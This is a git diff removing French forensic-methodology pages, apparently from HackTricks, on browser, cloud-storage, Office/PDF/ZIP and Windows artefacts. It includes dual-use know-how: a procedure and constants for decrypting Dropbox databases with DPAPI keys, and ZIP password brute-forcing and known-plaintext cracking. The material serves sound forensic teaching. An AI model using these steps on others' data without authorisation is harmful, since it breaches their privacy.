`C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active` - -## Safari - -Les données de Safari sont stockées à `/Users/$User/Library/Safari`. Les fichiers clés incluent : - -- **History.db** : Contient les tables `history_visits` et `history_items` avec des URL et des horodatages de visite. Utilisez `sqlite3` pour interroger. -- **Downloads.plist** : Informations sur les fichiers téléchargés. -- **Bookmarks.plist** : Stocke les URL mises en favori. -- **TopSites.plist** : Sites les plus fréquemment visités. -- **Extensions.plist** : Liste des extensions du navigateur Safari. Utilisez `plutil` ou `pluginkit` pour récupérer. -- **UserNotificationPermissions.plist** : Domaines autorisés à envoyer des notifications. Utilisez `plutil` pour analyser. -- **LastSession.plist** : Onglets de la dernière session. Utilisez `plutil` pour analyser. -- **Browser’s built-in anti-phishing** : Vérifiez en utilisant `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Une réponse de 1 indique que la fonctionnalité est active. - -## Opera - -Les données d'Opera résident dans `/Users/$USER/Library/Application Support/com.operasoftware.Opera` et partagent le format de Chrome pour l'historique et les téléchargements. - -- **Browser’s built-in anti-phishing** : Vérifiez en vérifiant si `fraud_protection_enabled` dans le fichier Preferences est défini sur `true` en utilisant `grep`. - -Ces chemins et commandes sont cruciaux pour accéder et comprendre les données de navigation stockées par différents navigateurs web. - -## Références - -- [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a) -- [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/) -- [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file) -- **Livre : OS X Incident Response: Scripting and Analysis par Jaron Bradley pag 123** - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md deleted file mode 100644 index 8eb6939e0..000000000 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md +++ /dev/null @@ -1,42 +0,0 @@ -{{#include ../../../banners/hacktricks-training.md}} - -Certaines choses qui pourraient être utiles pour déboguer/déobfusquer un fichier VBS malveillant : - -## echo -```bash -Wscript.Echo "Like this?" -``` -## Commentaires -```bash -' this is a comment -``` -## Test -```bash -cscript.exe file.vbs -``` -## Écrire des données dans un fichier -```js -Function writeBinary(strBinary, strPath) - -Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject") - -' below lines purpose: checks that write access is possible! -Dim oTxtStream - -On Error Resume Next -Set oTxtStream = oFSO.createTextFile(strPath) - -If Err.number <> 0 Then MsgBox(Err.message) : Exit Function -On Error GoTo 0 - -Set oTxtStream = Nothing -' end check of write access - -With oFSO.createTextFile(strPath) -.Write(strBinary) -.Close -End With - -End Function -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md deleted file mode 100644 index 7e424518d..000000000 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md +++ /dev/null @@ -1,97 +0,0 @@ -# Stockage Cloud Local - -{{#include ../../../banners/hacktricks-training.md}} - - -## OneDrive - -Dans Windows, vous pouvez trouver le dossier OneDrive dans `\Users\\AppData\Local\Microsoft\OneDrive`. Et à l'intérieur de `logs\Personal`, il est possible de trouver le fichier `SyncDiagnostics.log` qui contient des données intéressantes concernant les fichiers synchronisés : - -- Taille en octets -- Date de création -- Date de modification -- Nombre de fichiers dans le cloud -- Nombre de fichiers dans le dossier -- **CID** : ID unique de l'utilisateur OneDrive -- Temps de génération du rapport -- Taille du disque dur du système d'exploitation - -Une fois que vous avez trouvé le CID, il est recommandé de **chercher des fichiers contenant cet ID**. Vous pourriez être en mesure de trouver des fichiers avec le nom : _**\.ini**_ et _**\.dat**_ qui peuvent contenir des informations intéressantes comme les noms des fichiers synchronisés avec OneDrive. - -## Google Drive - -Dans Windows, vous pouvez trouver le dossier principal de Google Drive dans `\Users\\AppData\Local\Google\Drive\user_default`\ -Ce dossier contient un fichier appelé Sync_log.log avec des informations comme l'adresse e-mail du compte, les noms de fichiers, les horodatages, les hachages MD5 des fichiers, etc. Même les fichiers supprimés apparaissent dans ce fichier journal avec leur MD5 correspondant. - -Le fichier **`Cloud_graph\Cloud_graph.db`** est une base de données sqlite qui contient la table **`cloud_graph_entry`**. Dans cette table, vous pouvez trouver le **nom** des **fichiers synchronisés**, le temps de modification, la taille et le hachage MD5 des fichiers. - -Les données de la table de la base de données **`Sync_config.db`** contiennent l'adresse e-mail du compte, le chemin des dossiers partagés et la version de Google Drive. - -## Dropbox - -Dropbox utilise des **bases de données SQLite** pour gérer les fichiers. Dans ce\ -Vous pouvez trouver les bases de données dans les dossiers : - -- `\Users\\AppData\Local\Dropbox` -- `\Users\\AppData\Local\Dropbox\Instance1` -- `\Users\\AppData\Roaming\Dropbox` - -Et les principales bases de données sont : - -- Sigstore.dbx -- Filecache.dbx -- Deleted.dbx -- Config.dbx - -L'extension ".dbx" signifie que les **bases de données** sont **chiffrées**. Dropbox utilise **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN]()) - -Pour mieux comprendre le chiffrement utilisé par Dropbox, vous pouvez lire [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html). - -Cependant, les informations principales sont : - -- **Entropy** : d114a55212655f74bd772e37e64aee9b -- **Salt** : 0D638C092E8B82FC452883F95F355B8E -- **Algorithm** : PBKDF2 -- **Iterations** : 1066 - -En plus de ces informations, pour déchiffrer les bases de données, vous avez encore besoin de : - -- La **clé DPAPI chiffrée** : Vous pouvez la trouver dans le registre à l'intérieur de `NTUSER.DAT\Software\Dropbox\ks\client` (exportez ces données au format binaire) -- Les **hives `SYSTEM`** et **`SECURITY`** -- Les **clés maîtresses DPAPI** : Qui peuvent être trouvées dans `\Users\\AppData\Roaming\Microsoft\Protect` -- Le **nom d'utilisateur** et le **mot de passe** de l'utilisateur Windows - -Ensuite, vous pouvez utiliser l'outil [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)**:** - -![](<../../../images/image (448).png>) - -Si tout se passe comme prévu, l'outil indiquera la **clé primaire** que vous devez **utiliser pour récupérer l'originale**. Pour récupérer l'originale, utilisez simplement cette [recette cyber_chef]() en mettant la clé primaire comme "phrase de passe" dans la recette. - -Le hex résultant est la clé finale utilisée pour chiffrer les bases de données qui peut être déchiffrée avec : -```bash -sqlite -k config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db -``` -La base de données **`config.dbx`** contient : - -- **Email** : L'email de l'utilisateur -- **usernamedisplayname** : Le nom de l'utilisateur -- **dropbox_path** : Chemin où le dossier Dropbox est situé -- **Host_id : Hash** utilisé pour s'authentifier dans le cloud. Cela ne peut être révoqué que depuis le web. -- **Root_ns** : Identifiant de l'utilisateur - -La base de données **`filecache.db`** contient des informations sur tous les fichiers et dossiers synchronisés avec Dropbox. La table `File_journal` est celle avec le plus d'informations utiles : - -- **Server_path** : Chemin où le fichier est situé à l'intérieur du serveur (ce chemin est précédé par le `host_id` du client). -- **local_sjid** : Version du fichier -- **local_mtime** : Date de modification -- **local_ctime** : Date de création - -D'autres tables à l'intérieur de cette base de données contiennent des informations plus intéressantes : - -- **block_cache** : hash de tous les fichiers et dossiers de Dropbox -- **block_ref** : Relie l'ID de hash de la table `block_cache` avec l'ID de fichier dans la table `file_journal` -- **mount_table** : Dossiers partagés de Dropbox -- **deleted_fields** : Fichiers supprimés de Dropbox -- **date_added** - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md deleted file mode 100644 index 5e7e51f8f..000000000 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md +++ /dev/null @@ -1,18 +0,0 @@ -# Analyse des fichiers Office - -{{#include ../../../banners/hacktricks-training.md}} - -Pour plus d'informations, consultez [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Ceci est juste un résumé : - -Microsoft a créé de nombreux formats de documents Office, les deux principaux types étant les **formats OLE** (comme RTF, DOC, XLS, PPT) et les **formats Office Open XML (OOXML)** (tels que DOCX, XLSX, PPTX). Ces formats peuvent inclure des macros, ce qui en fait des cibles pour le phishing et les logiciels malveillants. Les fichiers OOXML sont structurés comme des conteneurs zip, permettant une inspection par décompression, révélant la hiérarchie des fichiers et des dossiers ainsi que le contenu des fichiers XML. - -Pour explorer les structures de fichiers OOXML, la commande pour décompresser un document et la structure de sortie sont fournies. Des techniques pour cacher des données dans ces fichiers ont été documentées, indiquant une innovation continue dans la dissimulation de données au sein des défis CTF. - -Pour l'analyse, **oletools** et **OfficeDissector** offrent des ensembles d'outils complets pour examiner à la fois les documents OLE et OOXML. Ces outils aident à identifier et analyser les macros intégrées, qui servent souvent de vecteurs pour la livraison de logiciels malveillants, téléchargeant et exécutant généralement des charges utiles malveillantes supplémentaires. L'analyse des macros VBA peut être effectuée sans Microsoft Office en utilisant Libre Office, qui permet le débogage avec des points d'arrêt et des variables de surveillance. - -L'installation et l'utilisation de **oletools** sont simples, avec des commandes fournies pour l'installation via pip et l'extraction de macros à partir de documents. L'exécution automatique des macros est déclenchée par des fonctions telles que `AutoOpen`, `AutoExec` ou `Document_Open`. -```bash -sudo pip3 install -U oletools -olevba -c /path/to/document #Extract macros -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md deleted file mode 100644 index c91f70b5a..000000000 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md +++ /dev/null @@ -1,20 +0,0 @@ -# Analyse de fichiers PDF - -{{#include ../../../banners/hacktricks-training.md}} - -**Pour plus de détails, consultez :** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) - -Le format PDF est connu pour sa complexité et son potentiel à dissimuler des données, ce qui en fait un point focal pour les défis de forensique CTF. Il combine des éléments en texte brut avec des objets binaires, qui peuvent être compressés ou chiffrés, et peut inclure des scripts dans des langages comme JavaScript ou Flash. Pour comprendre la structure des PDF, on peut se référer au [matériel d'introduction](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) de Didier Stevens, ou utiliser des outils comme un éditeur de texte ou un éditeur spécifique aux PDF tel qu'Origami. - -Pour une exploration ou une manipulation approfondie des PDF, des outils comme [qpdf](https://github.com/qpdf/qpdf) et [Origami](https://github.com/mobmewireless/origami-pdf) sont disponibles. Les données cachées dans les PDF peuvent être dissimulées dans : - -- Couches invisibles -- Format de métadonnées XMP par Adobe -- Générations incrémentales -- Texte de la même couleur que l'arrière-plan -- Texte derrière des images ou images superposées -- Commentaires non affichés - -Pour une analyse PDF personnalisée, des bibliothèques Python comme [PeepDF](https://github.com/jesparza/peepdf) peuvent être utilisées pour créer des scripts de parsing sur mesure. De plus, le potentiel des PDF pour le stockage de données cachées est si vaste que des ressources comme le guide de la NSA sur les risques et contre-mesures des PDF, bien qu'il ne soit plus hébergé à son emplacement d'origine, offrent toujours des informations précieuses. Une [copie du guide](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) et une collection de [trucs sur le format PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md) par Ange Albertini peuvent fournir des lectures supplémentaires sur le sujet. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md deleted file mode 100644 index 86b4e879c..000000000 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md +++ /dev/null @@ -1,9 +0,0 @@ -{{#include ../../../banners/hacktricks-training.md}} - -**Les fichiers PNG** sont très appréciés dans les **défis CTF** pour leur **compression sans perte**, ce qui les rend idéaux pour l'incorporation de données cachées. Des outils comme **Wireshark** permettent l'analyse des fichiers PNG en disséquant leurs données au sein des paquets réseau, révélant des informations ou des anomalies intégrées. - -Pour vérifier l'intégrité des fichiers PNG et réparer la corruption, **pngcheck** est un outil crucial, offrant une fonctionnalité en ligne de commande pour valider et diagnostiquer les fichiers PNG ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). Lorsque les fichiers dépassent les simples réparations, des services en ligne comme [OfficeRecovery's PixRecovery](https://online.officerecovery.com/pixrecovery/) fournissent une solution web pour **réparer les PNG corrompus**, aidant à la récupération de données cruciales pour les participants aux CTF. - -Ces stratégies soulignent l'importance d'une approche globale dans les CTF, utilisant un mélange d'outils analytiques et de techniques de réparation pour découvrir et récupérer des données cachées ou perdues. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md deleted file mode 100644 index 4644d850e..000000000 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md +++ /dev/null @@ -1,17 +0,0 @@ -{{#include ../../../banners/hacktricks-training.md}} - -**La manipulation de fichiers audio et vidéo** est un élément essentiel des **défis d'analyse judiciaire CTF**, utilisant **la stéganographie** et l'analyse des métadonnées pour cacher ou révéler des messages secrets. Des outils tels que **[mediainfo](https://mediaarea.net/en/MediaInfo)** et **`exiftool`** sont indispensables pour inspecter les métadonnées des fichiers et identifier les types de contenu. - -Pour les défis audio, **[Audacity](http://www.audacityteam.org/)** se distingue comme un outil de premier plan pour visualiser les formes d'onde et analyser les spectrogrammes, essentiel pour découvrir le texte encodé dans l'audio. **[Sonic Visualiser](http://www.sonicvisualiser.org/)** est fortement recommandé pour une analyse détaillée des spectrogrammes. **Audacity** permet la manipulation audio comme ralentir ou inverser des pistes pour détecter des messages cachés. **[Sox](http://sox.sourceforge.net/)**, un utilitaire en ligne de commande, excelle dans la conversion et l'édition de fichiers audio. - -La manipulation des **bits de poids faible (LSB)** est une technique courante en stéganographie audio et vidéo, exploitant les morceaux de taille fixe des fichiers multimédias pour intégrer des données discrètement. **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** est utile pour décoder des messages cachés sous forme de **tons DTMF** ou de **code Morse**. - -Les défis vidéo impliquent souvent des formats de conteneur qui regroupent des flux audio et vidéo. **[FFmpeg](http://ffmpeg.org/)** est l'outil de référence pour analyser et manipuler ces formats, capable de démultiplexer et de lire le contenu. Pour les développeurs, **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** intègre les capacités de FFmpeg dans Python pour des interactions scriptables avancées. - -Cette gamme d'outils souligne la polyvalence requise dans les défis CTF, où les participants doivent employer un large éventail de techniques d'analyse et de manipulation pour découvrir des données cachées dans des fichiers audio et vidéo. - -## Références - -- [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md deleted file mode 100644 index 9febeed41..000000000 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md +++ /dev/null @@ -1,21 +0,0 @@ -# ZIPs tricks - -{{#include ../../../banners/hacktricks-training.md}} - -**Outils en ligne de commande** pour gérer les **fichiers zip** sont essentiels pour diagnostiquer, réparer et cracker des fichiers zip. Voici quelques utilitaires clés : - -- **`unzip`** : Révèle pourquoi un fichier zip peut ne pas se décompresser. -- **`zipdetails -v`** : Offre une analyse détaillée des champs de format de fichier zip. -- **`zipinfo`** : Liste le contenu d'un fichier zip sans les extraire. -- **`zip -F input.zip --out output.zip`** et **`zip -FF input.zip --out output.zip`** : Essaye de réparer des fichiers zip corrompus. -- **[fcrackzip](https://github.com/hyc/fcrackzip)** : Un outil pour le cracking par force brute des mots de passe zip, efficace pour les mots de passe jusqu'à environ 7 caractères. - -La [spécification du format de fichier Zip](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) fournit des détails complets sur la structure et les normes des fichiers zip. - -Il est crucial de noter que les fichiers zip protégés par mot de passe **ne cryptent pas les noms de fichiers ou les tailles de fichiers** à l'intérieur, un défaut de sécurité non partagé avec les fichiers RAR ou 7z qui cryptent ces informations. De plus, les fichiers zip cryptés avec l'ancienne méthode ZipCrypto sont vulnérables à une **attaque par texte en clair** si une copie non cryptée d'un fichier compressé est disponible. Cette attaque exploite le contenu connu pour cracker le mot de passe du zip, une vulnérabilité détaillée dans [l'article de HackThis](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) et expliquée plus en détail dans [cet article académique](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). Cependant, les fichiers zip sécurisés avec le cryptage **AES-256** sont immunisés contre cette attaque par texte en clair, montrant l'importance de choisir des méthodes de cryptage sécurisées pour les données sensibles. - -## Références - -- [https://michael-myers.github.io/blog/categories/ctf/](https://michael-myers.github.io/blog/categories/ctf/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/windows-forensics/README.md b/src/forensics/basic-forensic-methodology/windows-forensics/README.md deleted file mode 100644 index ce9a5c643..000000000 --- a/src/forensics/basic-forensic-methodology/windows-forensics/README.md +++ /dev/null @@ -1,497 +0,0 @@ -# Artefacts Windows - -## Artefacts Windows - -{{#include ../../../banners/hacktricks-training.md}} - -## Artefacts Windows Généraux - -### Notifications Windows 10 - -Dans le chemin `\Users\\AppData\Local\Microsoft\Windows\Notifications`, vous pouvez trouver la base de données `appdb.dat` (avant l'anniversaire de Windows) ou `wpndatabase.db` (après l'anniversaire de Windows). - -À l'intérieur de cette base de données SQLite, vous pouvez trouver la table `Notification` avec toutes les notifications (au format XML) qui peuvent contenir des données intéressantes. - -### Chronologie - -La chronologie est une caractéristique de Windows qui fournit un **historique chronologique** des pages web visitées, des documents modifiés et des applications exécutées. - -La base de données se trouve dans le chemin `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`. Cette base de données peut être ouverte avec un outil SQLite ou avec l'outil [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **qui génère 2 fichiers pouvant être ouverts avec l'outil** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md). - -### ADS (Flux de Données Alternatifs) - -Les fichiers téléchargés peuvent contenir l'**ADS Zone.Identifier** indiquant **comment** il a été **téléchargé** depuis l'intranet, internet, etc. Certains logiciels (comme les navigateurs) ajoutent généralement même **plus** **d'informations** comme l'**URL** d'où le fichier a été téléchargé. - -## **Sauvegardes de Fichiers** - -### Corbeille - -Dans Vista/Win7/Win8/Win10, la **Corbeille** se trouve dans le dossier **`$Recycle.bin`** à la racine du lecteur (`C:\$Recycle.bin`).\ -Lorsqu'un fichier est supprimé dans ce dossier, 2 fichiers spécifiques sont créés : - -- `$I{id}` : Informations sur le fichier (date de sa suppression) -- `$R{id}` : Contenu du fichier - -![](<../../../images/image (486).png>) - -Avec ces fichiers, vous pouvez utiliser l'outil [**Rifiuti**](https://github.com/abelcheung/rifiuti2) pour obtenir l'adresse originale des fichiers supprimés et la date à laquelle ils ont été supprimés (utilisez `rifiuti-vista.exe` pour Vista – Win10). -``` -.\rifiuti-vista.exe C:\Users\student\Desktop\Recycle -``` -![](<../../../images/image (495) (1) (1) (1).png>) - -### Copies de Volume Shadow - -La copie Shadow est une technologie incluse dans Microsoft Windows qui peut créer des **copies de sauvegarde** ou des instantanés de fichiers ou de volumes informatiques, même lorsqu'ils sont en cours d'utilisation. - -Ces sauvegardes se trouvent généralement dans le `\System Volume Information` à la racine du système de fichiers et le nom est composé de **UIDs** montrés dans l'image suivante : - -![](<../../../images/image (520).png>) - -En montant l'image d'analyse avec le **ArsenalImageMounter**, l'outil [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) peut être utilisé pour inspecter une copie shadow et même **extraire les fichiers** des sauvegardes de copies shadow. - -![](<../../../images/image (521).png>) - -L'entrée de registre `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` contient les fichiers et clés **à ne pas sauvegarder** : - -![](<../../../images/image (522).png>) - -Le registre `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` contient également des informations de configuration sur les `Copies de Volume Shadow`. - -### Fichiers AutoEnregistrés d'Office - -Vous pouvez trouver les fichiers autoenregistrés d'Office dans : `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` - -## Éléments Shell - -Un élément shell est un élément qui contient des informations sur la façon d'accéder à un autre fichier. - -### Documents Récents (LNK) - -Windows **crée automatiquement** ces **raccourcis** lorsque l'utilisateur **ouvre, utilise ou crée un fichier** dans : - -- Win7-Win10 : `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\` -- Office : `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\` - -Lorsqu'un dossier est créé, un lien vers le dossier, vers le dossier parent et le dossier grand-parent est également créé. - -Ces fichiers de lien créés automatiquement **contiennent des informations sur l'origine** comme s'il s'agit d'un **fichier** **ou** d'un **dossier**, les **temps MAC** de ce fichier, les **informations de volume** où le fichier est stocké et le **dossier du fichier cible**. Ces informations peuvent être utiles pour récupérer ces fichiers en cas de suppression. - -De plus, la **date de création du lien** est le premier **moment** où le fichier original a été **utilisé pour la première fois** et la **date modifiée** du fichier de lien est le **dernier moment** où le fichier d'origine a été utilisé. - -Pour inspecter ces fichiers, vous pouvez utiliser [**LinkParser**](http://4discovery.com/our-tools/). - -Dans cet outil, vous trouverez **2 ensembles** de timestamps : - -- **Premier Ensemble :** -1. FileModifiedDate -2. FileAccessDate -3. FileCreationDate -- **Deuxième Ensemble :** -1. LinkModifiedDate -2. LinkAccessDate -3. LinkCreationDate. - -Le premier ensemble de timestamps fait référence aux **timestamps du fichier lui-même**. Le deuxième ensemble fait référence aux **timestamps du fichier lié**. - -Vous pouvez obtenir les mêmes informations en exécutant l'outil CLI Windows : [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) -``` -LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs -``` -Dans ce cas, les informations vont être enregistrées dans un fichier CSV. - -### Jumplists - -Ce sont les fichiers récents qui sont indiqués par application. C'est la liste des **fichiers récents utilisés par une application** auxquels vous pouvez accéder sur chaque application. Ils peuvent être créés **automatiquement ou être personnalisés**. - -Les **jumplists** créés automatiquement sont stockés dans `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Les jumplists sont nommés selon le format `{id}.autmaticDestinations-ms` où l'ID initial est l'ID de l'application. - -Les jumplists personnalisés sont stockés dans `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` et ils sont généralement créés par l'application parce que quelque chose **d'important** s'est produit avec le fichier (peut-être marqué comme favori). - -Le **temps de création** de tout jumplist indique **la première fois que le fichier a été accédé** et le **temps modifié la dernière fois**. - -Vous pouvez inspecter les jumplists en utilisant [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md). - -![](<../../../images/image (474).png>) - -(_Notez que les horodatages fournis par JumplistExplorer sont liés au fichier jumplist lui-même_) - -### Shellbags - -[**Suivez ce lien pour apprendre ce que sont les shellbags.**](interesting-windows-registry-keys.md#shellbags) - -## Utilisation des USB Windows - -Il est possible d'identifier qu'un appareil USB a été utilisé grâce à la création de : - -- Dossier Récents de Windows -- Dossier Récents de Microsoft Office -- Jumplists - -Notez que certains fichiers LNK au lieu de pointer vers le chemin original, pointent vers le dossier WPDNSE : - -![](<../../../images/image (476).png>) - -Les fichiers dans le dossier WPDNSE sont une copie des originaux, donc ne survivront pas à un redémarrage du PC et le GUID est pris d'un shellbag. - -### Informations sur le Registre - -[Consultez cette page pour apprendre](interesting-windows-registry-keys.md#usb-information) quels clés de registre contiennent des informations intéressantes sur les appareils USB connectés. - -### setupapi - -Vérifiez le fichier `C:\Windows\inf\setupapi.dev.log` pour obtenir les horodatages concernant le moment où la connexion USB a été produite (recherchez `Section start`). - -![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>) - -### USB Detective - -[**USBDetective**](https://usbdetective.com) peut être utilisé pour obtenir des informations sur les appareils USB qui ont été connectés à une image. - -![](<../../../images/image (483).png>) - -### Nettoyage Plug and Play - -La tâche planifiée connue sous le nom de 'Nettoyage Plug and Play' est principalement conçue pour la suppression des versions de pilotes obsolètes. Contrairement à son objectif spécifié de conserver la dernière version du package de pilotes, des sources en ligne suggèrent qu'elle cible également les pilotes qui ont été inactifs pendant 30 jours. Par conséquent, les pilotes pour les appareils amovibles non connectés au cours des 30 derniers jours peuvent être sujets à suppression. - -La tâche est située au chemin suivant : -`C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`. - -Une capture d'écran montrant le contenu de la tâche est fournie : -![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png) - -**Composants clés et paramètres de la tâche :** - -- **pnpclean.dll** : Ce DLL est responsable du processus de nettoyage réel. -- **UseUnifiedSchedulingEngine** : Défini sur `TRUE`, indiquant l'utilisation du moteur de planification de tâches générique. -- **MaintenanceSettings** : -- **Period ('P1M')** : Indique au Planificateur de tâches de lancer la tâche de nettoyage mensuellement lors de la maintenance automatique régulière. -- **Deadline ('P2M')** : Instruits le Planificateur de tâches, si la tâche échoue pendant deux mois consécutifs, d'exécuter la tâche lors de la maintenance automatique d'urgence. - -Cette configuration garantit un entretien régulier et un nettoyage des pilotes, avec des dispositions pour réessayer la tâche en cas d'échecs consécutifs. - -**Pour plus d'informations, consultez :** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html) - -## Emails - -Les emails contiennent **2 parties intéressantes : Les en-têtes et le contenu** de l'email. Dans les **en-têtes**, vous pouvez trouver des informations telles que : - -- **Qui** a envoyé les emails (adresse email, IP, serveurs de messagerie qui ont redirigé l'email) -- **Quand** l'email a été envoyé - -De plus, à l'intérieur des en-têtes `References` et `In-Reply-To`, vous pouvez trouver l'ID des messages : - -![](<../../../images/image (484).png>) - -### Application Mail Windows - -Cette application enregistre les emails en HTML ou en texte. Vous pouvez trouver les emails dans des sous-dossiers à l'intérieur de `\Users\\AppData\Local\Comms\Unistore\data\3\`. Les emails sont enregistrés avec l'extension `.dat`. - -Les **métadonnées** des emails et les **contacts** peuvent être trouvés à l'intérieur de la **base de données EDB** : `\Users\\AppData\Local\Comms\UnistoreDB\store.vol` - -**Changez l'extension** du fichier de `.vol` à `.edb` et vous pouvez utiliser l'outil [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) pour l'ouvrir. À l'intérieur de la table `Message`, vous pouvez voir les emails. - -### Microsoft Outlook - -Lorsque des serveurs Exchange ou des clients Outlook sont utilisés, il y aura quelques en-têtes MAPI : - -- `Mapi-Client-Submit-Time` : Heure du système lorsque l'email a été envoyé -- `Mapi-Conversation-Index` : Nombre de messages enfants du fil et horodatage de chaque message du fil -- `Mapi-Entry-ID` : Identifiant du message. -- `Mappi-Message-Flags` et `Pr_last_Verb-Executed` : Informations sur le client MAPI (message lu ? non lu ? répondu ? redirigé ? hors du bureau ?) - -Dans le client Microsoft Outlook, tous les messages envoyés/reçus, les données de contacts et les données de calendrier sont stockés dans un fichier PST dans : - -- `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP) -- `%USERPROFILE%\AppData\Local\Microsoft\Outlook` - -Le chemin du registre `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` indique le fichier qui est utilisé. - -Vous pouvez ouvrir le fichier PST en utilisant l'outil [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html). - -![](<../../../images/image (485).png>) - -### Fichiers OST de Microsoft Outlook - -Un **fichier OST** est généré par Microsoft Outlook lorsqu'il est configuré avec **IMAP** ou un serveur **Exchange**, stockant des informations similaires à un fichier PST. Ce fichier est synchronisé avec le serveur, conservant des données pour **les 12 derniers mois** jusqu'à une **taille maximale de 50 Go**, et est situé dans le même répertoire que le fichier PST. Pour visualiser un fichier OST, le [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html) peut être utilisé. 